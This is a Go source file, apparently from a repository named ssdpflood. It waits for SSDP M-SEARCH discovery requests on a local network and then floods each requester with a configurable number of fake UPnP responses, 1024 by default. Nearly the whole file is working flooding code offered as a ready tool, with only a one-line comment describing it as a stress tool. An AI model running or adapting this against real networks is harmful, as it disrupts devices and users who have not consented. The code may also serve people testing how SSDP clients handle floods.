PageRenderTime 87ms CodeModel.GetById 36ms RepoModel.GetById 0ms app.codeStats 0ms

/server.go

https://bitbucket.org/kisom/ssdpflood
Go | 128 lines | 97 code | 15 blank | 16 comment | 26 complexity | 086409bea7a9c12222981d3dec93a594 MD5 | raw file
  1. // ssdpflood stress listens for SSDP discovery packets, then floods the
  2. // sender with responses.
  3. package main
  4. import (
  5. "flag"
  6. "fmt"
  7. "net"
  8. "os"
  9. "regexp"
  10. "time"
  11. )
  12. const response = `
  13. HTTP/1.1 200 OK\r
  14. LOCATION: 127.0.0.1:4141/Invalid.xml\r
  15. SERVER: (null)\r
  16. ST:blahblahblah
  17. USN:uuid:UPnP-blah::urn:schemas-upnp-org:service:BLAHFOO:1\r
  18. `
  19. var (
  20. numPackets int64 = 1024
  21. ssdpSvc = "239.255.255.250:1900"
  22. ipBlacklist []*net.IPAddr
  23. ipWhitelist []*net.IPAddr
  24. delay time.Duration
  25. )
  26. func init() {
  27. var err error
  28. ipBlacklist = make([]*net.IPAddr, 0)
  29. ipWhitelist = make([]*net.IPAddr, 0)
  30. delay, err = time.ParseDuration("0s")
  31. if err != nil {
  32. panic("invalid default delay")
  33. }
  34. }
  35. /*
  36. func parseBlacklist(ipAddrs []string) {
  37. for _, ip := range ipAddrs {
  38. if ipAddr := net.ParseIP(ip); ipAddr != nil {
  39. ipBlacklist = append(ipBlacklist, ipAddr)
  40. } else {
  41. fmt.Println("[!] [blacklist] skipping invalid " +
  42. "address ", ip)
  43. continue
  44. }
  45. }
  46. }
  47. */
  48. func main() {
  49. fDelay := flag.Duration("d", delay, "specify delay between packets")
  50. ifaceName := flag.String("i", "eth0", "interface to listen on")
  51. nPkt := flag.Int64("n", numPackets, "number of packets to send")
  52. //fBlacklist
  53. flag.Parse()
  54. numPackets = *nPkt
  55. delay = *fDelay
  56. iface, err := net.InterfaceByName(*ifaceName)
  57. if err != nil {
  58. fmt.Printf("[!] invalid interface %s\n", *ifaceName)
  59. os.Exit(1)
  60. }
  61. gaddr, err := net.ResolveUDPAddr("up4", ssdpSvc)
  62. fmt.Println("[+] listening...")
  63. for {
  64. udpConn, err := net.ListenMulticastUDP("udp4", iface, gaddr)
  65. if err != nil {
  66. fmt.Println("[!] error listening on multicast: ",
  67. err.Error())
  68. os.Exit(1)
  69. }
  70. msg := make([]byte, 512)
  71. n, addr, err := udpConn.ReadFrom(msg)
  72. if n == 0 {
  73. continue
  74. } else if err != nil {
  75. fmt.Println("[!] multicast error: ", err.Error())
  76. continue
  77. }
  78. fmt.Println("[+] SSDP packet from", addr)
  79. if match, err := regexp.Match("^M-SEARCH \\*", msg); err != nil {
  80. fmt.Println("[!] regexp error: ", err.Error())
  81. continue
  82. } else if match {
  83. dumpUdpConn(udpConn, addr)
  84. }
  85. }
  86. }
  87. func dumpUdpConn(conn net.Conn, addr net.Addr) {
  88. defer conn.Close()
  89. start := time.Now()
  90. fmt.Println("[+] targetting", addr.String())
  91. for i := int64(0); i < numPackets; i++ {
  92. if (i > 0) && (i % 100 == 0) {
  93. fmt.Printf("\t[*] %d packets fired\n", i);
  94. }
  95. firePacket(addr)
  96. <-time.After(delay)
  97. }
  98. fmt.Println("\t[*] complete in", time.Since(start).String())
  99. }
  100. func firePacket(addr net.Addr) {
  101. ua, err := net.ResolveUDPAddr("udp4", addr.String())
  102. if err != nil {
  103. fmt.Println("[!] [firePacket]", err.Error())
  104. return
  105. }
  106. uc, err := net.DialUDP("udp4", nil, ua)
  107. if err != nil {
  108. fmt.Println("[!] [firePacket]", err.Error())
  109. return
  110. }
  111. defer uc.Close()
  112. uc.Write([]byte(response))
  113. }